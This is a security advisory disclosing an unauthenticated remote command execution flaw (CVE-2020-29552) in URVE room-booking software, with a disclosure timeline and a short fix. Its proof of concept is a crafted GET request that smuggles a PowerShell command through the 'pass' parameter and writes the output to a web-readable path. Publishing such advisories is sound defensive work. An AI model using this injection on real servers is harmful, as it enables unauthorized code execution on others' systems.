URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution

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Advisory ID: SYSS-2020-040  
Product: URVE Software  
Manufacturer: Eveo Sp. z o.o.  
Affected Version(s): Build "24.03.2020"  
Tested Version(s): Build "24.03.2020"  
Vulnerability Type: Missing Authentication for Critical Function  
(CWE-306)  
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2020-11-10  
Solution Date: 2020-11-18  
Public Disclosure: 2020-12-23  
CVE Reference: CVE-2020-29552  
Authors of Advisory: Erik Steltzner, SySS GmbH  
Christoph Ritter, SySS GmbH  
  
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Overview:  
  
URVE is a system for reserving rooms which also provides a web interface  
with event scheduler.  
  
The manufacturer describes the product as follows (see [1] and [2]):  
  
'Booking rooms on touchscreen and easy integration with MS Exchange,  
Lotus, Office 365, Google Calendar and other systems.  
Great looking schedules right at the door.  
Fight conference room theft with our 10" touchscreen wall-mounted  
panel.'  
  
'Manage displays, edit playlists and HTML5 content easily.  
Our server can be installed on any Windows and works smoothly from  
web browser.'  
  
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Vulnerability Details:  
  
With a manipulated GET request, it is possible to execute unauthenticated  
system commands.  
  
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Proof of Concept (PoC):  
  
Using the following request, it is possible to execute a PowerShell  
command.  
  
_internal/pc/vpro.php?mac=0&ip=0&operation=0&usr=0&pass=0%3bpowershell+-c+  
"whoami+>+C%3a\URVE\Profiles\urve\uploads\out"  
  
The following path contains the output of the previously executed command.  
  
/urve/uploads/out  
  
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Solution:  
  
The passed GET parameters should be escaped.  
  
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Disclosure Timeline:  
  
2020-10-28: Vulnerability discovered  
2020-11-10: Vulnerability reported to manufacturer  
2020-11-18: Patch released by manufacturer  
2020-12-23: Public disclosure of vulnerability  
  
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References:  
  
[1] Product Website for URVE  
https://urve.co.uk/system-rezerwacji-sal  
[2] Product website for URVE  
https://urve.co.uk  
[3] SySS Security Advisory SYSS-2020-040  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-040.txt  
[4] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Erik Steltzner and Christoph  
Ritter of SySS GmbH.  
  
E-Mail: [email protected]  
Public Key:  
https://www.syss.de/fileadmin/dokumente/PGPKeys/Erik_Steltzner.asc  
Key ID: 0x4C7979CE53163268  
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268  
  
E-Mail: [email protected]  
Public Key:  
https://www.syss.de/fileadmin/dokumente/PGPKeys/Christoph_Ritter.asc  
Key ID: 0x05458E666D35EAE8  
Key Fingerprint: 9FB0 1B9B 2F72 3DD5 3AF3 62D8 0545 8E66 6D35 EAE8  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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